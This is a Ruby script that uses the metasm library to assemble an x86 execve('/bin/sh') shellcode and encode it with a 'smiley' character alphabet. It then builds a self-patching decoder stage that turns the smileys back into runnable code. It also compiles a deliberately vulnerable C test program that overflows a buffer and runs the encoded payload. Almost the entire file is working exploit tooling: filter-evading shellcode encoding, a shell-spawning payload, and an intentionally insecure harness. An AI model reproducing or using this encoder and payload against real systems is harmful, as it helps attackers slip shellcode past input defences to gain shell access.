#!/usr/bin/ruby

# (c) Yoann Guillot 2009
# License: WTFPLv2 (http://sam.zoy.org/wtfpl/)

# encodes a shellcode using a smiley encoder :)

# requires http://metasm.cr0.org/
require 'metasm'

if ARGV.empty?
	orig = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS).encode_string
#define __i386__
#include <asm/unistd.h>
 jmp geteip
goteip:
 pop ebx	// argv0
 xor edx, edx	// envp
 push edx
 push ebx
 mov ecx, esp	// argv
 lea eax, [edx+__NR_execve]
 int 80h
geteip:
 call goteip
db "/bin/sh", 0
EOS
else
	# content of the files passed as arguments
	orig = ARGF.read
end

# arbitrary base16 alphabet
smbase = '()<>:-8o;|D[]{} '

# encode the payload
encoded = orig.unpack('C*').map { |chr| smbase[(chr>>4)&15, 1] + smbase[chr&15, 1] }.join

# assemble the decoder stage
# must be loaded&run at base address = 'LOL!'
dec_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS).encode
.base_addr 0x214c4f4c

// patch the decoder
push 70h
pop eax
// imul constant
push foo
pop edi
xor byte ptr [edi-foo+patch0+3], al
// jmp back * 3
sub byte ptr [edi-foo+patch1+1], al
sub byte ptr [edi-foo+patch2+1], al
sub byte ptr [edi-foo+patch3+1], al

foo:
push ebp
xor ebp, [esp]
and [esp], ebp
pop ebp		// mov ebp, 0


push base-70h
pop ebx		// mov ebx, key (smbase) - 70h

push shellcode-70h
pop esi		// mov esi, encoded payload (encoded) - 70h

push esi
pop edi		// mov edi, encoded payload (decoded) - 70h

charloop:

// read high nibble
push ebp
pop eax
xor al, [esi+70h]	// mov al, [esi]
jz shellcode
inc esi

push edi	// save edi
// decode high nibble
push ebp
pop edi		// must use edi to have a good imul opcode
dec edi
1:
inc edi
cmp [ebx+edi+70h], al
patch1:
jnz 1b

// shl edi, 4
push edi
patch0:
imul edi, [esp], 10h
pop eax

// read low nibble
push ebp
pop eax
xor al, [esi+70h]
inc esi

push edi	// save high nibble on stack

// decode low nibble
push ebp
pop edi
dec edi
1:
inc edi
cmp [ebx+edi+70h], al
patch2:
jnz 1b

// ecx <- highnibble ^ lownibble
xor [esp], edi
pop ecx

pop edi		// restore edi
// store decoded byte
xor cl, [edi+70h]
xor [edi+70h], cl
inc edi

patch3:
jnz charloop	// inconditionnal, edi != 0

base:
db #{smbase.inspect}

shellcode:
db #{encoded.inspect}
EOS

# create the selfpatch
ed = dec_stage.encoded
ed.data[ed.export['patch0']+3] ^= 0x70
ed.data[ed.export['patch1']+1] += 0x70
ed.data[ed.export['patch2']+1] += 0x70
ed.data[ed.export['patch3']+1] += 0x70

shellcode = dec_stage.encode_string

puts 'behold !'
p shellcode

dec_stage.encode_file('sc.lol')
puts "(: shellcode saved as ./sc.lol :)"


Metasm::ELF.compile_c(Metasm::Ia32.new, <<EOS).encode_file('test.lol')
#include <string.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>

asm(".global 'open' undef");
asm(".global 'close' undef");
asm(".global 'mmap' undef");

void vuln(void)
{
	char buf[128];
	int fd;

	buf[0] = 0;
	for (int i=0 ; i <= sizeof(buf)/16 ; i++)
		/*D  :-O  :*/
		strcat(buf, "LOL!LOL!LOL!LOL!");

	fd = open("sc.lol", O_RDWR);

	int addr = *(int*)buf;
	strcpy(addr, mmap(addr & ~0xfff, 0x2000, PROT_READ|PROT_WRITE,
		MAP_PRIVATE|MAP_FIXED, fd, 0));
	
	close(fd);

}

int main(void)
{
	vuln();
	return 0;
}
EOS

puts "(: You may run ./test.lol to test the shellcode :)"
